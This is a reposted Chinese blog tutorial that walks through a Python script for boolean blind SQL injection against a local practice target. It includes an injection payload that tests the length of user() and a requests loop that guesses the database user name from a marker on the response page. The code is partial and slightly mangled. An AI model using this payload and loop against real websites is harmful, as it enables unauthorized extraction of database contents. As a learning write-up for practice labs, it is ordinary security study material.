愛上python之盲注探測腳本


  本文轉自:i春秋論壇

      前言:

  最近在學python,做了個盲注的簡單的跑用戶的腳本,僅做個記錄。

  sqmap也有不靈的時候,有時需要根據情況自寫腳本探測

  正文:

  本地用大表姐給的sql和php文件搭建了個布爾盲注的靶機

  另外感謝大表姐的指導。

 

稍作解釋:

注入語句里用%s占位,等待在for循里面依次判斷長度

[AppleScript]  純文本查看 復制代碼
 
l = "' and length(user())=%s and '1'='1"


requests獲取頁面執行返回,find方法定位成功的頁面特征booooom
#find()方法對字符串的處理,如果匹配到,則返回索引,第幾位匹配到,若沒有匹配到,則返回-1,即返回一直為int型

[AppleScript]  純文本查看 復制代碼
 
1
2
3
4
5
6
7
8
for i in range ( 1 , 20 ) :
     sql = l % str ( i )
     judge 1 = requests. get ( url % sql , headers = headers , timeout = 60 )
     #print(judge1.content)
     if judge 1. content .find ( "Name:booooom" ) ! = -1 :
         length = i
         print ( i )
         break


此處判斷得出長度為14
得出長度下一步來一位一位判斷字符,
先把字符集存在列表待取

[AppleScript]  純文本查看 復制代碼
 
check_data = list ( ' 1234567890 abcdefghijklmnopqrstuvwxyz@' )


接下來的套路與判斷長度一樣 先在for循環里枚舉字符與數據做對比,if判斷對比一致則可以匹配到頁面特征booooom
最后一位一位判斷出數據庫用戶

 

  一個一個猜庫名 表名和內容 ,是一樣的套路 有興趣的可以練練手。

本文由i春秋學院提供,原文地址:http://bbs.ichunqiu.com/thread-11673-1-1.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM